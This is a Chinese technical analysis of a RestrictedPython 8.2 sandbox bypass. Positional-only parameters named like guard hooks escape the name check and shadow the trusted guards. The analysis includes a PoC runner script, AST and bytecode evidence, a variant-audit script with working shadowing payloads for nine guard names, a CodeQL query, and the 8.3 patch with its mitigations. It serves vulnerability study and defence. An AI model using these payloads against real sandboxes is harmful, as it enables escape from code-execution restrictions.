echo "==> [3/4] 容器内运行库级 PoC（官方 GHSA-ffg3-p8fm-mjx2 PoC）"
echo "--- sandbox-vuln (RestrictedPython 8.2) ---"
rc=0
docker compose exec -T sandbox-vuln python /srv/poc_local.py || rc=$?
# poc_local.py 退出码: 0=VULNERABLE, 2=PATCHED, 1=异常
[ "$rc" = "0" ] || { echo "!! 8.2 容器内 PoC 未复现 (exit=$rc)" >&2; exit 1; }
echo "--- sandbox-fixed (RestrictedPython 8.3) ---"
rc=0
docker compose exec -T sandbox-fixed python /srv/poc_local.py || rc=$?
[ "$rc" = "2" ] || { echo "!! 8.3 容器内未观察到修复行为 (exit=$rc)" >&2; exit 1; }
echo "==> [4/4] HTTP 攻击复现（宿主机客户端，16 项判定）"
"$PY" client.py
echo
echo "全部复现步骤完成。清理环境: docker compose down --rmi all -v"记得 chmod +x verify.sh，然后 ./verify.sh 一条命令跑完全流程。预期终点输出：复现结果: 成功（16/16 PASS）。
3. 原理篇：从 AST 到字节码的完整因果链
复现成功了，但"为什么恰好是这个字段被漏掉"需要下到源码里看。这一节自顶向下走一遍：改写后的 AST → 漏洞函数 → guard 注入点 → 名字解析语义 → 字节码证据。本节的两个观察脚本均可直接保存运行（配合 2.1 方案 C 的源码快照，或任何装了 8.2 的环境）。
3.1 先看证据：改写后的 AST
ast_dump.py（完整）——直接调用 8.2 的 transformer，dump 恶意函数的改写结果：
#!/usr/bin/env python3
"""CVE-2026-55830 -- 改写后 AST 的直接观察（漏检 + Sink 注入）。
运行（源码快照）：
PYTHONPATH=rp-src-8.2/src python3 ast_dump.py
"""
import ast
from RestrictedPython.transformer import RestrictingNodeTransformer
def dump(name, src):
print("=" * 70)
print(name)
print("source:")
print(src)
tree = ast.parse(src, "<s>", "exec")
errors = []
transformer = RestrictingNodeTransformer(errors, [], {})
rewritten = transformer.visit(tree)
ast.fix_missing_locations(rewritten)
print("errors:", errors)
print("rewritten AST:")
print(ast.dump(rewritten, indent=2))
print()
dump("遮蔽 _getattr_（posonlyargs 漏检）",
'def f(o, _getattr_=lambda obj, name: "shadowed", /):\n'
" return o.x\n")
dump("遮蔽 _write_（posonlyargs 漏检）",
"def f(o, v, _write_=lambda obj: obj, /):\n"
" o.secret = v\n")对 P1/P3 的恶意源码运行（8.2 transformer 处理后），关键输出 errors: []，结构如下：
遮蔽 _getattr_：
FunctionDef(name='f',
args=arguments(posonlyargs=[arg(arg='o'), arg(arg='_getattr_')],
defaults=[Lambda(...)]),
body=[Return(value=Call(func=Name(id='_getattr_', ctx=Load()), ...))])
遮蔽 _write_：
FunctionDef(name='f',
args=arguments(posonlyargs=[arg(arg='o'), arg(arg='v'), arg(arg='_write_')]),
body=[Assign(targets=[Attribute(
value=Call(func=Name(id='_write_', ctx=Load()),
args=[Name(id='o', ctx=Load())]),
attr='secret', ctx=Store())], ...)])两张图叠在一起看就很直观：参数原封不动地留在未检查的 posonlyargs 字段里，函数体里的敏感操作却已经被物化成同名裸 ast.Name 调用。剩下的问题只是编译器在两个同名之间选谁——而 Python 的答案从语言设计第一天起就定了。
3.2 漏洞函数：枚举式校验的天生缺陷
名字规则的执行器 check_name() 本身没有问题——拒绝 _ 前缀（单独 _ 除外；allow_magic_methods=True 时额外放行 ALLOWED_FUNC_NAMES 白名单——__init__、__contains__ 及六个比较运算魔术方法，配合 node.col_offset != 0 把它们限定在缩进的类体位置，与本漏洞无关）、__roles__ 结尾和保留名。把它和调用它的参数遍历器并列看：
def check_name(self, node, name, allow_magic_methods=False):
"""Check names if they are allowed."""
if name is None:
return
if (name.startswith('_')
and name != '_'
and not (allow_magic_methods
and name in ALLOWED_FUNC_NAMES
and node.col_offset != 0)):
self.error(
node,
'"{name}" is an invalid variable name because it '
'starts with "_"'.format(name=name))
elif name.endswith('__roles__'):
self.error(node, '"%s" is an invalid variable name because '
'it ends with "__roles__".' % name)
elif name in FORBIDDEN_FUNC_NAMES:
self.error(node, f'"{name}" is a reserved name.')
def check_function_argument_names(self, node):
for arg in node.args.args: # 普通位置参数
self.check_name(node, arg.arg)
if node.args.vararg: # *args
self.check_name(node, node.args.vararg.arg)
if node.args.kwarg: # **kwargs
self.check_name(node, node.args.kwarg.arg)
for arg in node.args.kwonlyargs: # keyword-only 参数
self.check_name(node, arg.arg)
# 缺少: for arg in node.args.posonlyargs ← positional-only 参数未校验问题定位得非常干净：规则是对的，但规则没有应用到 posonlyargs。防御逻辑早已存在，只是有一类输入没有接进来。
注意 check_function_argument_names() 的写法：它手工枚举要检查的字段，而不是反射式地遍历 ast.arguments._fields。这是 CWE-184（不完整禁止列表）的教科书案例——语言演进新增字段时，枚举式代码不会自动获得覆盖。Python 3.8 引入 PEP 570，ast.arguments 的字段从 6 个变成 7 个，这个函数在沉默中落后了（语言层面 Python < 3.8 的解释器天然免疫：/ 语法在解析阶段就是 SyntaxError，攻击输入根本走不到校验器——不过 8.2 声明 requires-python >= 3.10，所有受支持的解释器都带着这个字段，这条旁注不构成任何实际缓解）。
还有一个容易忽略的对照：transformer 其实覆写了 generic_visit，对没有专属 visit_* 方法的 AST 节点类型直接拒绝（8.2 源码，注释为原文）：
def generic_visit(self, node):
"""Reject ast nodes which do not have a corresponding `visit_` method.
This is needed to prevent new ast nodes from new Python versions
to be trusted before any security review.
To access `generic_visit` on the super class use `node_contents_visit`.
"""
self.warn(
node,
'{0.__class__.__name__}'
' statement is not known to RestrictedPython'.format(node)
)
self.not_allowed(node)这说明作者明确预想过"语言演进会带来新 AST 节点"，并在节点类型层面做了 fail-closed：不认识的节点类型一律拒绝。但 posonlyargs 恰好穿过了这道闸——它不是新节点类型，而是已知节点 ast.arguments 上的新字段，流经其中的 ast.arg 节点类型也早已存在（visit_arg 一直都在）。全程没有任何陌生节点类型出现，fail-closed 闸门从未触发：防住了节点级演进，防不住字段级演进。这为"为什么恰好只漏了这一处"补上更深一层的答案，也是第 6 节审计模式的机制注脚。
3.3 Guard 注入：裸 ast.Name 的物化点与 print 两步改写
看注入侧。visit_Attribute / visit_Subscript / inject_print_collector 是三个最典型的物化点（8.2 源码，注释为补注）：
def visit_Attribute(self, node):
"""a.b -> _getattr_(a, 'b'); a.b = c -> _write_(a).b = c"""
if node.attr.startswith('_') and node.attr != '_':
self.error(node, '"{name}" is an invalid attribute name because it '
'starts with "_".'.format(name=node.attr))
# ... __roles__ / INSPECT_ATTRIBUTES 检查略 ...
if isinstance(node.ctx, ast.Load):
node = self.node_contents_visit(node)
new_node = ast.Call(
func=ast.Name('_getattr_', ast.Load()), # 裸名字 sink
args=[node.value, ast.Constant(node.attr)],
keywords=[])
copy_locations(new_node, node)
return new_node
elif isinstance(node.ctx, (ast.Store, ast.Del)):
node = self.node_contents_visit(node)
new_value = ast.Call(
func=ast.Name('_write_', ast.Load()), # 裸名字 sink
args=[node.value],
keywords=[])
copy_locations(new_value, node.value)
node.value = new_value
return node
def visit_Subscript(self, node):
"""a[k] -> _getitem_(a, k); a[k] = c -> _write_(a)[k] = c"""
node = self.node_contents_visit(node)
if isinstance(node.ctx, ast.Load):
new_node = ast.Call(
func=ast.Name('_getitem_', ast.Load()), # 裸名字 sink
args=[node.value, node.slice],
keywords=[])
copy_locations(new_node, node)
return new_node
# Store/Del 分支同构，略
def inject_print_collector(self, node, position=0):
# 在函数/模块开头插入：_print = _print_(_getattr_)
if self.print_info.print_used or self.print_info.printed_used:
_print = ast.Assign(
targets=[ast.Name('_print', ast.Store())],
value=ast.Call(
func=ast.Name('_print_', ast.Load()),
args=[ast.Name('_getattr_', ast.Load())], # P4 捕获的就是它
keywords=[]))
...
node.body.insert(position, _print)inject_print_collector 只是 print 改写的第二步；第一步在 visit_Name 里——它把 print / printed 两个名字改写成对局部临时变量 _print 的访问（8.2 源码，注释为补注）：
def visit_Name(self, node):
node = self.node_contents_visit(node)
if isinstance(node.ctx, ast.Load):
if node.id == 'printed':
self.print_info.printed_used = True
new_node = ast.Call( # printed -> _print()
func=ast.Name("_print", ast.Load()),
args=[],
keywords=[])
copy_locations(new_node, node)
return new_node
elif node.id == 'print':
self.print_info.print_used = True
new_node = ast.Attribute( # print(s) -> _print._call_print(s)
value=ast.Name('_print', ast.Load()),
attr="_call_print",
ctx=ast.Load())
copy_locations(new_node, node)
return new_node
self.used_names[node.id] = True
self.check_name(node, node.id)
return node两步合起来（用 ast.unparse 还原 8.2 transformer 的实际产物）：
def f():
_print = _print_(_getattr_) ← 第二步：函数开头注入的赋值
_print._call_print('hi') ← 第一步：print 名字的改写这正是 P4 的着力点。_print = _print_(_getattr_) 在函数体执行之前求值：右边的裸名字 _print_ 解析到被 posonly 参数遮蔽的局部绑定（攻击者的 lambda），_getattr_ 在 f 内没有局部绑定、解析到真实的全局受信 hook。于是在受信 hook 一无所知的情况下，它自己作为实参被送进了攻击者的函数——这就是 P4 返回值里 <function build_policy.<locals>.policy_getattr at 0x...> 的由来。两个后续细节：攻击者 lambda 的返回值是 None，_print 即为 None，于是 print(...) 触发的 _print._call_print(...) 抛 AttributeError——P4 的 payload 因此用 try/except 包住 print；而 lambda 体内 out.append(...) 这类访问没有局部遮蔽，仍走真实全局 hook（实测 P4 的 access_log 为 [['getattr', 'append']]）——所以 P4 的判定条件只要求"捕获到 hook 对象"，不要求日志为空。
四个观察：
ast.Name('_getattr_', ast.Load())是没有任何绑定信息的裸名字——它最终解析到什么，完全由运行时作用域决定；- 这些注入的 guard 名被视为"受信内部名"，不再经过
check_name——它们的安全性完全建立在 S1 成立的前提上； - 注入的调用点没有二次检查的机会。机制上有两层：RestrictedPython 的
node_contents_visit()只有一行——return super().generic_visit(node)，语义是"访问当前节点的子节点"；而ast.NodeTransformer的替换规则是"用 visitor 返回的新节点原地替换旧节点，但不递归visit()新节点"。于是visit_Attribute返回的ast.Call(func=ast.Name('_getattr_', ...))在替换那一刻就是终态，注入的_getattr_永远不会流经visit_Name/check_name；visit_FunctionDef里inject_print_collector也在node_contents_visit(node)之后才把赋值语句插进 body，插入的节点同样不会被重访； - print 机制里有两个形近的名字，别混淆：
_print_（尾下划线，guard，从全局命名空间解析，可被本漏洞遮蔽）与_print（无尾下划线，transformer 注入的局部临时变量，ast.Store）——后者正是 4.1 节名单排除它的原因。
3.4 关键类型差异：为什么 visit_Name 救不了场
可能有人会问：函数体里写 _getattr_(o, 'x') 不是会被 visit_Name 拦住吗？是的——但形参不是 ast.Name 节点。
def visit_Name(self, node):
node = self.node_contents_visit(node)
if isinstance(node.ctx, ast.Load):
# print/printed 的特殊改写已在 3.3 节展开
self.used_names[node.id] = True
self.check_name(node, node.id) # 普通 Name 的兜底检查
return node
def visit_FunctionDef(self, node):
self.check_name(node, node.name, allow_magic_methods=True)
self.check_function_argument_names(node) # ast.arg 必须走专门入口
with self.print_info.new_print_scope():
node = self.node_contents_visit(node)
self.inject_print_collector(node)
return node
def visit_Lambda(self, node):
self.check_function_argument_names(node) # 与 FunctionDef 共用漏洞函数
return self.node_contents_visit(node)参数在 AST 里是 ast.arg(arg='_getattr_', ...)，只有 node.arg 一个字符串属性，不是 ast.Name——visit_Name 根本看不见它。它唯一的检查入口就是 check_function_argument_names()；这个函数漏了，后面就没有任何兜底。
顺带把"调用点是否完备"也钉死：参数检查的调用点全局只有 visit_FunctionDef / visit_Lambda 两处。ast.arguments 节点在合法语法中只出现在 FunctionDef / AsyncFunctionDef / Lambda 三种宿主下，而 visit_AsyncFunctionDef 直接 not_allowed；visit_arguments / visit_arg 本身只是内容透传，不做检查。因此参数类绑定点不存在第三条漏网路径——缺口只可能在每个调用点内部的字段枚举里，posonlyargs 正是这样出现的。
用一张调用点全景图收束（这解释了"为什么恰好只漏了这一处"）：
不经过普通 ast.Name 的绑定点——import 别名、异常别名、类名——都在各自的专用 visitor 里补做了检查；唯独参数遍历器在语言演进时掉队了。实测的绑定语法矩阵（8.2；复现方式见 2.1 方案 C + 下面的编译检查）：
用户绑定点 | 8.2 是否拦截 |
posonly 参数（ | ✅ 接受（漏洞点） |
普通位置参数 / kwonly / | ❌ 拒绝 |
函数名 / 类名 / import 别名 / | ❌ 拒绝 |
赋值目标 / 推导式循环变量 / 海象目标 | ❌ 拒绝 |
| 接受，但不建立局部绑定，后续 Store 目标仍会被 |
3.5 名字解析：LEGB 决定了一切
因果链至此只剩最后一环：改写后的 AST 中同时存在"局部形参 _getattr_"和"裸名字调用 _getattr_(...)"，Python 怎么解析？
形参是局部作用域的绑定点（LEGB 的 L）。函数体内的名字查找顺序是 Local → Enclosing → Global → Builtin。注入的裸 _getattr_ 在函数体内解析时，局部参数优先于全局 hook——这不是 bug，是 Python 语言的作用域语义，攻击者只是借用了它。
3.6 下探到字节码：LOAD_GLOBAL → LOAD_FAST
"局部优先"还可以从文字推理变成可重跑的实现证据。dis_evidence.py（完整）——对两份受限源码分别改写、编译、反汇编：
#!/usr/bin/env python3
"""CVE-2026-55830 -- CPython 运行时/字节码支配证据（dis）。
运行（Docker 锁定 3.12）：
docker compose exec -T sandbox-vuln python - < dis_evidence.py
运行（源码快照，任意 3.8+）：
PYTHONPATH=rp-src-8.2/src python3 dis_evidence.py
注意区分两层事实：
- "局部参数名在函数内优先于全局名解析"是 Python 语言作用域语义；
- "LOAD_FAST / LOAD_GLOBAL"的具体指令名是 CPython 的实现表现，随版本变化
（例如 CPython 3.14 会输出 LOAD_FAST_BORROW）。解释器版本必须与证据一并标注。
"""
import ast
import dis
import sys
from RestrictedPython.transformer import RestrictingNodeTransformer
def rewrite_and_get_func(src):
tree = ast.parse(src, "<s>", "exec")
transformer = RestrictingNodeTransformer([], [], {})
rewritten = transformer.visit(tree)
ast.fix_missing_locations(rewritten)
module_code = compile(rewritten, "<s>", "exec")
# 取得改写后 Module 中第一个 FunctionDef 的 code object。
for const in module_code.co_consts:
if isinstance(const, type(module_code)) and const.co_name == "f":
return rewritten, const
raise RuntimeError("function code not found")
def dump(title, func_code):
print("=" * 70)
print(title)
print("co_varnames = %r" % (func_code.co_varnames,))
print("co_names = %r" % (func_code.co_names,))
print("-" * 70)
dis.dis(func_code)
print()
print("Python: %s" % sys.version.split()[0])
_, normal_code = rewrite_and_get_func("def f(o):\n return o.x\n")
_, shadow_code = rewrite_and_get_func(
'def f(o, _getattr_=lambda obj, name: "shadowed", /):\n return o.x\n')
dump("未遮蔽（normal）：注入的 _getattr_ 解析到全局 hook", normal_code)
dump("遮蔽（posonlyargs）：_getattr_ 成为参数/local，注入调用解析到局部",
shadow_code)运行输出（Docker 锁定 Python 3.12.14）：
======================================================================
未遮蔽（normal）：注入的 _getattr_ 解析到全局 hook
co_varnames = ('o',)
co_names = ('_getattr_',) ← 全局名字（经 LOAD_GLOBAL 读取）
1 0 RESUME 0
2 2 LOAD_GLOBAL 1 (NULL + _getattr_)
12 LOAD_FAST 0 (o)
14 LOAD_CONST 1 ('x')
16 CALL 2
24 RETURN_VALUE
======================================================================
遮蔽（posonlyargs）：_getattr_ 成为参数/local，注入调用解析到局部
co_varnames = ('o', '_getattr_') ← _getattr_ 已成为参数/local
co_names = ()
1 0 RESUME 0
2 2 PUSH_NULL
4 LOAD_FAST 1 (_getattr_) ← 直接读局部槽，不再查 globals
6 LOAD_FAST 0 (o)
8 LOAD_CONST 1 ('x')
10 CALL 2
18 RETURN_VALUE两层事实需要分开：
- "局部参数名优先于全局名解析"是 Python 语言语义——版本无关、实现无关；
LOAD_FAST/LOAD_GLOBAL是 CPython 3.12 的具体指令名（3.14 会显示为LOAD_FAST_BORROW，用本机 3.14 重跑上述脚本即可看到），属于实现表现。
但结论殊途同归：遮蔽关系在编译阶段就已经固化进 code object（co_varnames 里有 _getattr_、co_names 里没有），不是运行时的偶然现象。攻击者提交的字符串经过 transformer 的那一刻，胜负已分。
3.7 完整因果链
把它压缩成一句话：语言演进扩大了实际的绑定点集合，校验器没有跟上；而 transformer 以裸 ast.Name 注入受信名字，作用域遮蔽就成了确定结果。
4. 扩展篇：不止 _getattr_
官方公告点名了 _getattr_、_getitem_、_write_、_print_。但既然根因是"参数遍历器漏字段"，所有以裸名字注入的 guard 理论上都可以被同样遮蔽。用 CodeQL 把这个猜想变成清单。
4.1 用 CodeQL 枚举全部注入点
查询目标：8.2 transformer 源码中所有 ast.Name('<name>', ast.Load()) 形态的调用构造，<name> 限定为 9 个已知 guard 名：
import python
string guardName() {
result in [
"_getattr_", "_getitem_", "_write_", "_print_",
"_getiter_", "_apply_", "_unpack_sequence_",
"_inplacevar_", "_iter_unpack_sequence_"
]
}
from Call c, string name, Function f
where
f = c.getScope().(Function) and
c.getFunc().(Attribute).getName() = "Name" and
c.getFunc().(Attribute).getObject().(Name).getId() = "ast" and
name = c.getArg(0).(StringLiteral).getText() and
name = guardName()
select c,
f.getQualifiedName() as enclosing_function,
name as injected_guard,
c.getLocation().getStartLine() as line运行方式（CodeQL CLI 2.26.1；先把查询保存为 q5_guard_sinks.ql，同目录放一个声明依赖的 qlpack.yml，内容为 name: cve-2026-55830-rp、version: 0.0.1、dependencies: { codeql/python-all: 7.2.2 }，然后 codeql pack install）：
# 建库：对 2.1 方案 C 的 8.2 源码快照
codeql database create rp8.2-db --language=python --source-root=rp-src-8.2
# 运行查询
codeql query run q5_guard_sinks.ql --database rp8.2-db结果：13 个物化点，对应 9 个唯一 guard 名：
guard_iter _iter_unpack_sequence_ 210
guard_iter _getiter_ 211
guard_iter _getiter_ 215
protect_unpack_sequence _unpack_sequence_ 305
protect_unpack_sequence _getiter_ 306
inject_print_collector _print_ 429
inject_print_collector _getattr_ 430
visit_Call _apply_ 784
visit_Attribute _getattr_ 829
visit_Attribute _write_ 839
visit_Subscript _getitem_ 877
visit_Subscript _write_ 886
visit_AugAssign _inplacevar_ 1020后 5 个名字集中在迭代/解包、星号调用和增量赋值三条改写路径。例如：
def guard_iter(self, node):
"""for x in expr -> for x in _getiter_(expr)"""
node = self.node_contents_visit(node)
if isinstance(node.target, ast.Tuple):
spec = self.gen_unpack_spec(node.target)
new_iter = ast.Call(
func=ast.Name('_iter_unpack_sequence_', ast.Load()),
args=[node.iter, spec, ast.Name('_getiter_', ast.Load())],
keywords=[])
else:
new_iter = ast.Call(
func=ast.Name('_getiter_', ast.Load()),
args=[node.iter],
keywords=[])
...
return node
def visit_Call(self, node):
"""Checks calls with '*args' and '**kwargs'."""
# exec/eval 禁止检查略
needs_wrap = False
for pos_arg in node.args:
if isinstance(pos_arg, ast.Starred):
needs_wrap = True
for keyword_arg in node.keywords:
if keyword_arg.arg is None:
needs_wrap = True
node = self.node_contents_visit(node)
if not needs_wrap:
return node
node.args.insert(0, node.func)
node.func = ast.Name('_apply_', ast.Load()) # fn(*args) -> _apply_(fn, *args)
...
return node
def visit_AugAssign(self, node):
node = self.node_contents_visit(node)
# Attribute/Subscript 目标直接禁止，略
elif isinstance(node.target, ast.Name):
new_node = ast.Assign(
targets=[node.target],
value=ast.Call(
func=ast.Name('_inplacevar_', ast.Load()), # n += 1
args=[ast.Constant(IOPERATOR_TO_STR[type(node.op)]),
ast.Name(node.target.id, ast.Load()),
node.value],
keywords=[]))
...
return new_node（排除项说明：_print 无尾部下划线，是 ast.Store 局部临时变量；_tmp* 是 gen_tmp_name() 生成的内部临时名——二者都不属于"从嵌入方全局命名空间解析的策略 guard"，故不入列。）
4.2 运行时矩阵：9 × 5 × 2 的交叉验证
对 9 个 guard 名 × 5 类参数 × def/lambda × 8.2/8.3 做完整交叉编译审计，外加 8.2 上的运行时动态探针（每个名字显式绑定可记录回调，观察 shadow 前后是否被跳过）。variant_audit.py（完整可运行；配合 2.1 方案 C 的源码快照）：
#!/usr/bin/env python3
"""CVE-2026-55830 变种审计：guard 名 × 参数类别编译矩阵 + 运行时探针。
运行：
PYTHONPATH=rp-src-8.2/src python3 variant_audit.py # 预期 18/90 + 探针全 skipped
PYTHONPATH=rp-src-8.3/src python3 variant_audit.py # 预期 0/90 + shadow 全 rejected
"""
import types
from RestrictedPython import compile_restricted_exec
from RestrictedPython.Guards import safe_globals, safer_getattr
GUARDS = ["_getattr_", "_getitem_", "_write_", "_print_", "_getiter_",
"_iter_unpack_sequence_", "_unpack_sequence_", "_apply_", "_inplacevar_"]
def compile_check(src):
r = compile_restricted_exec(src, "<s>")
return (not r.errors, [str(e) for e in r.errors])
def param_src(name, form, cat):
head = "def f(%s):\n return 1\n" if form == "def" else "f = lambda %s: 1\n"
params = {"posonly": "x, NAME=0, /", "positional": "x, NAME=0",
"kwonly": "*, NAME=0", "vararg": "*NAME", "kwarg": "**NAME"}[cat]
return head % params.replace("NAME", name)
class Recorder:
def __init__(self):
self.hits = set()
def mark(self, name):
self.hits.add(name)
PRINTER = lambda: types.SimpleNamespace(_call_print=lambda *a, **k: None)
# 注入名 -> (触发语法, baseline 源码, shadow 源码, 受信 guard 工厂, 实参工厂)
PROBES = {
"_getattr_": ("o.x",
"def f(o):\n return o.x\n",
'def f(o, _getattr_=lambda obj, name: "SHADOWED", /):\n return o.x\n',
lambda r: lambda o, n, d=None: (r.mark("_getattr_"), safer_getattr(o, n, d))[1],
(lambda: types.SimpleNamespace(x=9),)),
"_getitem_": ("o['k']",
"def f(o):\n return o['k']\n",
'def f(o, _getitem_=lambda obj, key: "SHADOWED", /):\n return o["k"]\n',
lambda r: lambda o, k: (r.mark("_getitem_"), o[k])[1],
(lambda: {"k": 8},)),
"_write_": ("o.x = v",
"def f(o):\n o.x = 1\n return o.x\n",
"def f(o, _write_=lambda obj: obj, /):\n o.x = 1\n return o.x\n",
lambda r: lambda o: (r.mark("_write_"), o)[1],
(lambda: types.SimpleNamespace(),)),
"_print_": ("print(x)",
"def f():\n print('x')\n return 1\n",
"def f(_print_=lambda real_getattr: None, /):\n try:\n print('x')\n except Exception:\n pass\n return 1\n",
lambda r: lambda g: (r.mark("_print_"), PRINTER())[1], ()),
"_getiter_": ("for/comprehension",
"def f(it):\n r = [x for x in it]\n return len(r)\n",
"def f(it, _getiter_=lambda o: o, /):\n r = [x for x in it]\n return len(r)\n",
lambda r: lambda o: (r.mark("_getiter_"), o)[1], (lambda: [1, 2, 3],)),
"_iter_unpack_sequence_": ("for x, y in it",
"def f(it):\n for x, y in it:\n pass\n return 0\n",
"def f(it, _iter_unpack_sequence_=lambda it, spec, get: it, /):\n for x, y in it:\n pass\n return 0\n",
lambda r: lambda it, spec, get: (r.mark("_iter_unpack_sequence_"), it)[1],
(lambda: [[1, 2], [3, 4]],)),
"_unpack_sequence_": ("a, b = it",
"def f(it):\n a, b = it\n return a + b\n",
"def f(it, _unpack_sequence_=lambda value, spec, get: value, /):\n a, b = it\n return a + b\n",
lambda r: lambda v, spec, get: (r.mark("_unpack_sequence_"), v)[1],
(lambda: [20, 22],)),
"_apply_": ("fn(*args)",
"def f(fn, args):\n return fn(*args)\n",
"def f(fn, args, _apply_=lambda f, *a, **k: 'SHADOWED', /):\n return fn(*args)\n",
lambda r: lambda f, *a, **k: (r.mark("_apply_"), f(*a, **k))[1],
(lambda: lambda x: x + 1, lambda: (21,))),
"_inplacevar_": ("n += 1",
"def f(n):\n n += 1\n return n\n",
"def f(n, _inplacevar_=lambda op, lhs, rhs: lhs + rhs, /):\n n += 1\n return n\n",
lambda r: lambda op, lhs, rhs: (r.mark("_inplacevar_"), lhs + rhs)[1],
(lambda: 1,)),
}
def run_guarded(src, arg_factories, rec):
sandbox = dict(safe_globals)
sandbox["_getattr_"] = safer_getattr
for gname, (trig, b, s, mk, af) in PROBES.items():
sandbox[gname] = mk(rec)
ok, errs = compile_check(src)
if not ok:
return "rejected"
exec(compile_restricted_exec(src, "<p>").code, sandbox)
sandbox["f"](*[f() for f in arg_factories])
return None
def main():
accepted = total = 0
print("## 1. 编译矩阵（仅打印被接受的组合）")
for name in GUARDS:
for form in ("def", "lambda"):
for cat in ("posonly", "positional", "kwonly", "vararg", "kwarg"):
ok, _ = compile_check(param_src(name, form, cat))
total += 1
if ok:
accepted += 1
print("ACCEPTED %s %s %s" % (name, form, cat))
print("编译矩阵: %d/%d 被接受（8.2 预期 18/90；8.3 预期 0/90）" % (accepted, total))
print("\n## 2. 运行时探针（baseline=不遮蔽 / shadow=posonly 遮蔽）")
print("| 注入名 | 触发语法 | baseline 受信回调 | shadow 后受信回调 |")
print("|---|---|---|---|")
for name, (trig, baseline, shadow, mk, af) in PROBES.items():
rec = Recorder()
try:
verdict = run_guarded(baseline, af, rec)
base = verdict if verdict else ("called" if name in rec.hits else "skipped")
except Exception as exc:
base = "error: %s" % exc
rec = Recorder()
try:
verdict = run_guarded(shadow, af, rec)
sh = verdict if verdict else ("called" if name in rec.hits else "skipped")
except Exception as exc:
sh = "error: %s" % exc
print("| %s | %s | %s | %s |" % (name, trig, base, sh))
if __name__ == "__main__":
main()实测结果可以用两条规则无损概括：
- 8.2：每个 guard 名在
def和lambda的 posonly 类别均被接受（18/90），其余四类参数全部因_前缀被拒绝（72/90）； - 8.3：90/90 全部被拒绝。
8.2 上的运行时探针输出（9/9 全部 called → skipped）：
注入名 | 触发语法 | baseline 受信回调 | shadow 后受信回调 |
|
| called | skipped |
|
| called | skipped |
|
| called | skipped |
|
| called | skipped |
| for/推导式 | called | skipped |
|
| called | skipped |
|
| called | skipped |
|
| called | skipped |
|
| called | skipped |
（8.3 上同一脚本的 shadow 列全部为 rejected。）
结论分层：前 4 个是公告点名的策略 hook，遮蔽机制与应用后果都已在模拟应用中验证；后 5 个的同型遮蔽机制已验证（8.2 可跳过、8.3 拒绝），但实际安全后果取决于具体嵌入应用的 guard 实现和暴露对象——本文未构造应用后果链，不做未验证的外推。
5. 补丁篇：3 行代码与 3 个回归测试
5.1 修复本身
本地 diff 复核 8.2 → 8.3 的 transformer，check_function_argument_names() 是唯一的源码差异：
def check_function_argument_names(self, node):
+ for arg in node.args.posonlyargs:
+ self.check_name(node, arg.arg)
+
for arg in node.args.args:
self.check_name(node, arg.arg)同一提交新增 3 个回归测试：
def test_positional_only_arg_with_underscore_is_rejected():
result = compile_restricted_exec("def foo(_bad, /): pass")
assert result.errors == (functiondef_err_msg,)
def test_positional_only_arg_with_default_underscore_is_rejected():
result = compile_restricted_exec("def foo(_bad=1, /): pass")
assert result.errors == (functiondef_err_msg,)
def test_positional_only_lambda_arg_with_underscore_is_rejected():
result = compile_restricted_exec("f = lambda _bad, /: None")
assert result.errors == (functiondef_err_msg,)5.2 为什么这个修复切在根因上
注意修复的形状：它没有为 _getattr_ 等具体 hook 名加黑名单，而是把 posonlyargs 纳入既有统一校验，使这一类参数与其它四类走同一条 check_name 路径。这意味着：
- 任何
_前缀的 posonly 形参（不只是 9 个 guard 名）都会被拒绝； - 修复后的编译矩阵 90/90 全绿，且与"覆盖集合补齐"的理论预测完全一致。
5.3 维护性观察（非补丁缺陷）
补丁不会自动覆盖 ast.arguments 未来可能新增的其它绑定字段——遍历仍是枚举式的。如果哪天 ast.arguments 再加字段，同类问题理论上可能重现。这是给同类项目的一个提醒，不是 8.3 的现存绕过。
配套的缓解建议（无法立即升级时）：
- 首选：升级
>= 8.3； - 临时预检：在调用 RestrictedPython 之前，对不可信源码做等价 AST 预检，拒绝所有
_前缀的 positional-only 参数（注意compile_restricted_function(p=...)的参数串p也可能可控——该 API 会把p拼进def masked_function_name(%s)再解析，同样能触发本漏洞）：
import ast
def reject_unsafe_posonly(tree):
"""拒绝所有以下划线开头且不等于单独 '_' 的 positional-only 参数。"""
for node in ast.walk(tree):
if isinstance(node, (ast.FunctionDef, ast.Lambda)):
for arg in node.args.posonlyargs:
if arg.arg.startswith("_") and arg.arg != "_":
raise SyntaxError(
"unsafe positional-only parameter: %s" % arg.arg)
def precheck_source(source, filename="<sandbox>", mode="exec"):
tree = ast.parse(source, filename, mode)
reject_unsafe_posonly(tree)
return tree
def precheck_function_parameters(p):
# 与 8.2 compile_restricted_function() 的 wrapper 构造方式一致
wrapper = ast.parse(
"def masked_function_name(%s): pass" % p, "<func wrapper>", "exec")
reject_unsafe_posonly(wrapper)- 纵深防御：不注入不必要的能力；不对沙箱控制对象直接
pickle；定期审计注入safe_globals/safe_builtins的额外名字。
6. 方法论：从这一个 CVE 提炼的审计模式
这类漏洞的搜索空间不在"危险函数"清单里，而在安全不变量的覆盖关系里。三条可迁移的审计模式：
- 语言演进即审计信号。PEP 570 /
posonlyargs是典型案例：原有不变量长期成立，直到新 AST 字段出现而校验器未同步。每当目标语言引入新的绑定点（形参、模式匹配捕获、海象目标、推导式变量……），就去问：现有校验器覆盖它吗？还要注意演进的粒度差别：RestrictedPython 对"新节点类型"设了 fail-closed（覆写generic_visit，见 3.2 节），posonlyargs却是已知节点上的新字段，穿闸而过——审计"演进"时，节点、字段、作用域语义三个粒度都要问一遍。 - 枚举式校验要按绑定点对账。
check_name的调用点分布在十几个 visitor 里；把"所有能建立用户命名的语法"列成矩阵，逐格验证"接受/拒绝"，缺口会自己浮出来（第 3.4、4.2 节就是这个矩阵）。 - 注入的受信名字能否被用户名字遮蔽。任何 AST 重写 / 模板编译 / 代码生成系统，只要以裸名字引用受信对象，就要问：用户能不能在更近的作用域建立同名绑定？RestrictedPython 用"禁止
_前缀"维持这道墙——那这道墙上有没有没刷到的地方？
基于已知修复反推的完整复盘工作流：
（说明：这是复盘式方法的总结，不声称还原漏洞披露者的真实发现时间线。）
7. 边界：这篇分析证明了什么、没证明什么
先划清这篇分析证明到了哪一步、没证明什么：
已验证（不依赖业务对象，本文内嵌脚本可重跑）：
- 8.2 接受
posonlyargs的_前缀绑定；8.3 编译期拒绝（90/90 矩阵）； - 改写后注入的裸
_getattr_名在编译期固化为局部绑定（co_varnames/ 字节码证据）； - 9 个 guard 名在 8.2 中均可被同名 posonly 参数跳过受信回调。
已验证（自建最小模拟应用中的可观测后果）：
Target.secret被改写为攻击者值且写 hook 调用为 0（P3，对照 C4 写 hook=1）；- 真实
